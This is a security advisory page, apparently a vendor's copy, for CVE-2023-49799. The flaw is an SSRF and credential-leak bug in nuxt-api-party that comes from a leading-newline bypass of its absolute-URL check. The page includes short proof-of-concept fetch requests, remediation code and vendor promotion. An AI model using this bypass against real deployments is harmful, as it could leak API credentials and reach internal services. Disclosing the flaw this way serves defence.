Summary
SSRF & Credentials Leak
nuxt-api-party allows developers to proxy requests to an API without exposing credentials to the client. A previous vulnerability allowed an attacker to change the baseURL of the request, potentially leading to credentials being leaked or SSRF.
This vulnerability is similar, and was caused by a recent change to the detection of absolute URLs, which is no longer sufficient to prevent SSRF.
Details
nuxt-api-party attempts to check if the user has passed an absolute URL to prevent the aforementioned attack. This has been recently changed to use a regular expression ^https?://.
This regular expression can be bypassed by an absolute URL with leading whitespace. For example \nhttps://whatever.com has a leading newline.
According to the fetch specification, before a fetch is made the URL is normalized. "To normalize a byte sequence potentialValue, remove any leading and trailing HTTP whitespace bytes from potentialValue." (source)
This means the final request will be normalized to https://whatever.com. We have bypassed the check and nuxt-api-party will send a request outside of the whitelist.
This could allow us to leak credentials or perform SSRF.
PoC
POC using Node.
await fetch("/api/__api_party/MyEndpoint", {
method: "POST",
body: JSON.stringify({ path: "\nhttps://google.com" }),
headers: { "Content-Type": "application/json" }
})
We can use __proto__ as a substitute for the endpoint if it is not known. This will not leak any credentials as all attributes on endpoint will be undefined.
await fetch("/api/__api_party/__proto__", {
method: "POST",
body: JSON.stringify({ path: "\nhttps://google.com" }),
headers: { "Content-Type": "application/json" }
})
Impact
Leak of sensitive API credentials. SSRF.
Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside. Typical impact: access to internal metadata services, internal APIs, or cloud credentials.
CVE-2023-49799 has a CVSS score of 7.5 (High). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.22.0); upgrading removes the vulnerable code path.
Affected versions
Security releases
Kodem intelligence
Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.
Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.
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See it in your environmentNew to Kodem? Get a demo →Remediation advice
Revert to the previous method of detecting absolute URLs.
if (new URL(path, 'http://localhost').origin !== 'http://localhost') {
// ...
}
Frequently Asked Questions
- What is CVE-2023-49799? CVE-2023-49799 is a high-severity server-side request forgery (SSRF) vulnerability in nuxt-api-party (npm), affecting versions < 0.22.0. It is fixed in 0.22.0. Untrusted input controls the target URL of a server-initiated request, which may reach internal services not otherwise accessible from outside.
- How severe is CVE-2023-49799? CVE-2023-49799 has a CVSS score of 7.5 (High). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
- Which versions of nuxt-api-party are affected by CVE-2023-49799? nuxt-api-party (npm) versions < 0.22.0 is affected.
- Is there a fix for CVE-2023-49799? Yes. CVE-2023-49799 is fixed in 0.22.0. Upgrade to this version or later.
- Is CVE-2023-49799 exploitable, and should I be worried? Whether CVE-2023-49799 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
- What actually determines whether CVE-2023-49799 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
- How do I fix CVE-2023-49799? Upgrade
nuxt-api-partyto 0.22.0 or later.